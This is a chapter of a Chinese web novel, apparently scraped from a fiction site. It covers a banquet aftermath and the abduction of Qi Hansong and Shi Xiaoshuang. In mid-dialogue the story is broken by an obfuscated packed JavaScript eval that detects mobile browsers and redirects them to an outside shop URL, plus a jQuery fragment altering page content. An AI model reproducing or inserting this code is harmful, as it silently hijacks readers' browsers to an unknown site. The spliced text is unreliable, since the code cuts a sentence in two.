闹剧结束,宴会正常进行。
做为发起方,祁聿川一出现,就被无数人巴结。
觥筹交错间,他的目光总是往时眠身上落。
时眠被盯得有些不自在,就移开目光,埋头吃甜点。
祁知节自然也发现了这道不加遮掩的目光,他不甚在意地问道:“阿眠,你刚才真进大哥的房间了?”
时眠手上的动作一顿。
刚才,她是被祁聿川的人护送着出来,时晓霜这才傻呵呵地没发现,她已经从房间里出来了。
又被一路送到祁知节身边……祁聿川好像压根不怕祁知节发现什么,没有让下属隐藏身份的意思。
祁知节当时没说什么。
时眠却知道,这事还没完。
她轻咳一声,半真半假地说道:“真进了。”
“时晓霜想要污蔑我勾引大哥,或是想看我被大哥扔出房间,但我解释清楚了,大哥也挺善解人意的,就派人把我送出去了。”
这个解释,可真是天衣无缝。
时眠说完,都有些佩服自己了。
祁知节意味深长地“哦”了一声,“……原来是这样。”
时眠:“……”
总感觉祁知节没全信。
可她略显心虚地抬眼,就见祁知节已经不想谈这件事了,她也不可能主动提及,就只能强压困惑,暂时把此事埋在心里。
这时。
时眠环视一圈儿,却见宴会厅里,似乎没有祁瑾年的身影。
这……
祁家大哥回归,祁瑾年却没来参加宴会?
不太对劲。
时眠下意识问道:“祁瑾年怎么没来?”
祁知节的表情看不出有什么变动,说出口的话却显得酸溜溜的:“坐在我身边,还惦记着祁瑾年?”
时眠:“……”
差点忘了,祁知节是属醋缸的。
她轻咳一声,解释道:“没有,就是好奇。”
顿了顿,她又一脸严肃地补上一句:“纯好奇。”
祁知节的唇角似乎往上扬了一下,他这才不疾不徐地说道:“沈蓉和祁立辉还有一个儿子,大哥上位时,祁立辉把他送去国外了。”
“他就一直在国外躲着。”
“大哥这次去国外做事,也顺带着派人调查他了,发现他还挺聪明的,已经在国外当上男团队长了,还积累了一定数量的粉丝,祁家想要对他动手,就得掂量掂量会不会被**裹挟。”
“当然了,大哥也没惯着他,用了些手段,让他不得不回国发展。”
“祁瑾年最讨厌他,这不,连晚宴都不想参加了,这会儿应该是在想该怎么阴他一手。”
好一个“在想该怎么阴他一手”。
虽然有些好笑,但,这确实是祁瑾年能做出来的事。
时眠总觉得,祁瑾年就像是埋伏在暗处的蛇,不知道什么时候会突然窜出来,咬人一口!
病娇都这样?
不确定,再看看。
她想了一会儿,就看了一眼墙上的时钟,发现晚宴即将结束,想到等会儿会发生什么,她的唇角差点和太阳肩并肩!
“……”
另一边。
祁寒松拽着时晓霜走出宴会厅,男人的脸色一直发沉,俨然是被耍了之后,怒气冲冲的状态。
时晓霜从没被祁寒松这么对待过,一想到祁寒松生气是因为时眠,她就更委屈了,眼圈都红了。
“你……”祁寒松看时晓霜一眼,见她的眼圈是红的,语气这才轻了些许:“你是在故意陷害时眠?”
“我没有!”时晓霜的语气很是肯定,“我亲眼看见时眠去你大哥的房间了,可她后来是怎么出来的,我……我确实是不知道!”
“寒松,你要因为时眠的事和我吵架吗?还是要因此冷落我?”
说着说着,她就流露出可怜巴巴的表情,试图让祁寒松心软。
祁寒松也是一钓就上钩。
他下意识解释道:“我没有,我只是……只是不想大哥被时眠忽悠了,也不想二哥再受一次情伤。”
“你知道的,我们的关系很好。”
“我……或许是时眠走错屋子后又被大哥送出来了,你恰好没看见她出来,这……这只是一个误会,事后我们去给时眠道歉就好了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711775|208450||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
一听要给时眠道歉,时晓霜的小脾气瞬间就上来了。
她一把甩开祁寒松的手,在对方尽是错愕的目光中,咬牙道:“我为什么要给时眠道歉?”
“我不要!”
“因为时眠,时家已经乱成一团了,我已经一无所有了,现在,就连你也要站在时眠那一边?”
祁寒松蹙眉,一开口,语气有些无奈:“我不是这个意思,我就是单纯觉得你今天差点误会时眠,也差点坏了她的名声,我……”
“那又如何?”时晓霜的语气还是那么的坚定:“总之,我是不可能给时眠道歉的!要道歉,你自己去。”
说着。
时晓霜转身就走,步子迈得极大,一看就是在耍脾气的状态。
祁寒松连车都不上了,只能选择跟上去。
同时,他也有些许的不耐烦,觉得时晓霜太任性了,也有些不讲道理。
思考间。
祁寒松忽然觉得身后有人,还不等他反应过来,嘴已经被捂住了,紧接着,他眼前一黑。
……他这是……被**了?!
与此同时。
时晓霜大步走了许久,忽然发现身后没有脚步声了,她扭头一看,只能看见空荡荡的大街。
时晓霜:“……”
祁寒松没有追上来?!
她的第一反应就是:完了,闹大了,冤大头不上当了。
随即,她还觉得委屈坏了,没想到自己就这么被祁寒松抛弃了,更是对自己未来的路该怎么走,感到头大!
时晓霜正在思考要不要回去低头,或是一走了之、事后让祁寒松亲自上门给她道歉。
艰难抉择时,身后忽然传来脚步声。
时晓霜眼前一亮,还以为是祁寒松追上来了。
“寒松,我就知道,你……”
她顶着满脸的笑容转过头去,却发现,跟上来的哪里是祁寒松?而是一众保镖,所有人身上都穿着黑西装,和夜色融为一体!
时晓霜当即觉得大事不妙,想要拔腿就跑。
可……
她才跑没两步就发现,前面竟然也有人!